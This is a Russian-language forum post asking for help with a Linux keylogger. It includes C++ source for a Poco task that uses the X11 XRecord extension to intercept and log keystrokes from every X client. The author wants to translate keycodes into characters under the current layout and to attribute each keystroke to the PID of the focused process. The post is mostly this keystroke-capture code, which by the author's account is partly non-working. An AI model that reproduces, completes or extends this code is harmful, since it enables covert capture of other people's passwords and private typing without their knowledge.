Здравствуйте дорогие ребята. Мне нужно написать кейлоггер для Линукса, который бы сопостовлял нажатые клавиши с процессом которому принадлежал ввод в тот момент. Прочитав разные статьи в инетренете и просмотрев много примеров реализации кейлоггеа, я выбрала способ - подписываться на события от X11. Т.е. я подписываюсь на события клавиатуры и получаю нажатие клавиш в любом окне. Но к сожалению мне никак не удаётся решить две проблемы: я получаю некоторый код нажатой клавиши и не могу его перевести в символ на клавиатуре с учётом ещё и языковой раскладки. Вторая трудность, что мне никак не удаётся найти PID процесса, которому в тот момент времени принадлежал ввод с клавиатуры. Может кто сможет мне подсказать как мне решить две мои проблемы? Привожу в пример свой код: Файл KeyboardTracker.hpp
//
// Created by tania on 23.05.24.
//
#ifndef NFLDMODULE_KEYBOARDTRACKER_HPP
#define NFLDMODULE_KEYBOARDTRACKER_HPP
#include <Poco/Task.h>
#include <Poco/Logger.h>
#include <Poco/Environment.h>
#include <X11/Xlibint.h>
#include <X11/Xlib.h>
#include <X11/Xutil.h>
#include <X11/cursorfont.h>
#include <X11/keysymdef.h>
#include <X11/keysym.h>
#include <X11/extensions/record.h>
#include <X11/extensions/XTest.h>
#include <X11/XKBlib.h>
#include <X11/Xatom.h>
#include <sync/LDSyncConfig.hpp>
#include "KeyPressInfo.hpp"
namespace tasks
{
class KeyboardTracker : public Poco::Task
{
public:
explicit KeyboardTracker(Poco::Logger& logger);
// переопределяемый метод, который запускает нашу задачу в отдельном потоке
void runTask() override;
/* метод получающий признак связи с Xorg сервером. Связь эта происходит путь установки
* переменной окружения XAUTHORITY
* данный метод является слотом в ответ на сигнал, который сообщает признак того,
* что переменная окружения XAUTHORITY установлена
@param flag - признак успешности или неудачи установки переменной окружения XAUTHORITY
* */
void isSetXAUTHORITY(bool flag);
/* метод устанавливающий значения текущего дисплея в системе
* данный метод является слотом в ответ на сигнал, который сообщает нам номер дисплея
@param number - номер дисплея
* */
void setDisplay(int number);
private:
// данный метод подписывается на события клавиатуры, посредством графической оболочки Xorg
void subscribeEventsKeyboardXorg();
// данный метод является callback-функцией которая вызывается при получении события от клавиатуры
void keyPressedHandler(XPointer pointer, XRecordInterceptData *d);
// Класс для синхронизации работы таска с логинами и тасковвв, использующих Xlib
//LDSyncConfig& LDSyncConfig_;
// ссылка на логгер который ведёт у нас логирование
Poco::Logger& logger_;
// флаг, который показывает что мы уже запустили кейлоггер и повторно запускать его не нужно
bool isStart_{false};
// номер текущего активного дисплея в системе
int currentDisplay_{-1};
// признак того, что в другой задаче произошла установка переменной окружения XAUTHORITY
// которая необходима нам для работы с библиотекой X11
bool isSetXAUTHORITY_{false};
// период по которому мы повторяем действия в runTask
const int32_t sleep_period_{10000}; // 4 секунды
std::string keyPressCodes_{};
Display* display_{nullptr};
};
struct KeyPressInfo
{
std::string code;
std::string value;
};
}
#endif //NFLDMODULE_KEYBOARDTRACKER_HPP
KeyboardTracker.cpp
//
// Created by tania on 23.05.24.
//
#include "KeyboardTracker.hpp"
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
namespace tasks
{
KeyboardTracker::KeyboardTracker(Poco::Logger& logger)
: Poco::Task("KeyboardTrackerTask"),
logger_(logger) {}
void KeyboardTracker::runTask()
{
logger_.information("Starting KeyboardTracker");
while (!isCancelled())
{
if (!isStart_) {
if (isSetXAUTHORITY_)
{
logger_.information("KeyboardTracker exec subscribeEventsKeyboardXorg()");
subscribeEventsKeyboardXorg();
isStart_ = true;
}
}
logger_.information("KeyboardTracker is working....");
this->sleep(sleep_period_);
}
}
void KeyboardTracker::setDisplay(int number)
{
currentDisplay_ = number;
}
void KeyboardTracker::isSetXAUTHORITY(bool flag)
{
isSetXAUTHORITY_ = flag;
logger_.information("KeyboardTracker: XAUTHORITY установлена!!!");
}
void KeyboardTracker::subscribeEventsKeyboardXorg()
{
XRecordRange* rr;
XRecordClientSpec rcs;
XRecordContext rc;
try {
//auto display_str = ":" + std::to_string(currentDisplay_);
//setenv("DISPLAY", ":0", 1);
std::string str = Poco::Environment::get("DISPLAY");
logger_.information("KeyboardTracker::subscribeEventsKeyboardXorg display=%s", str);
display_ = ::XOpenDisplay(NULL);
if (display_)
{
rr = XRecordAllocRange();
rr->device_events.first = KeyPress;
rr->device_events.last = ButtonPress;
rcs = XRecordAllClients;
rc = XRecordCreateContext(display_, 0, &rcs, 1, &rr, 1);
XFree(rr);
auto callback = [](XPointer closure, XRecordInterceptData* data) {
((KeyboardTracker*)closure)->keyPressedHandler(closure, data);
};
XRecordEnableContext(display_, rc, callback, ((XPointer)this));
}
else
logger_.information("KeyboardTracker::subscribeEventsKeyboardXorg XOpenDisplay failed!");
}
catch (std::exception& ex)
{
XCloseDisplay(display_);
logger_.critical("Critical error in subscribeEventsKeyboardXorg(): %s", std::string(ex.what()));
}
}
/* for this struct, refer to libxnee */
typedef union {
unsigned char type ;
xEvent event ;
xResourceReq req ;
xGenericReply reply ;
xError error ;
xConnSetupPrefix setup;
} XRecordDatum;
void KeyboardTracker::keyPressedHandler(XPointer p, XRecordInterceptData *d)
{
KeyboardTracker* pointer = (KeyboardTracker*)p;
pointer->logger_.information("KeyboardTracker::keyPressedHandler");
if (d == nullptr || d->category != XRecordFromServer)
return;
XRecordDatum *data = (XRecordDatum*) d->data;
int event_type = data->type;
BYTE keycode;
keycode = data->event.u.u.detail;
switch (event_type) {
case KeyPress:
//pointer->keyPressCodes_ += keycodes_.at(keycode) + ",";
pointer->logger_.information("keycode = %s", XKeysymToString(XKeycodeToKeysym(pointer->display_, keycode, 0)));
break;
case ButtonPress:
//pointer->keyPressCodes_ += keycodes_.at(keycode) + ",";
pointer->logger_.information("keycode = %s",XKeysymToString(XKeycodeToKeysym(pointer->display_, keycode, 0)));
break;
default:
break;
}
XRecordFreeData (d);
if (pointer->keyPressCodes_.length() > 50)
{
pointer->logger_.information("keyPressCodes: %s", keyPressCodes_);
pointer->keyPressCodes_.clear();
}
}
}
Вот эта cтрока у меня не отрабатывает - XKeysymToString(XKeycodeToKeysym(pointer->display_, keycode, 0)); Под отладкой я просто зависаю на ней... но ничего не получаю. Кто может подсказать как ещё можно получить символ из кода ?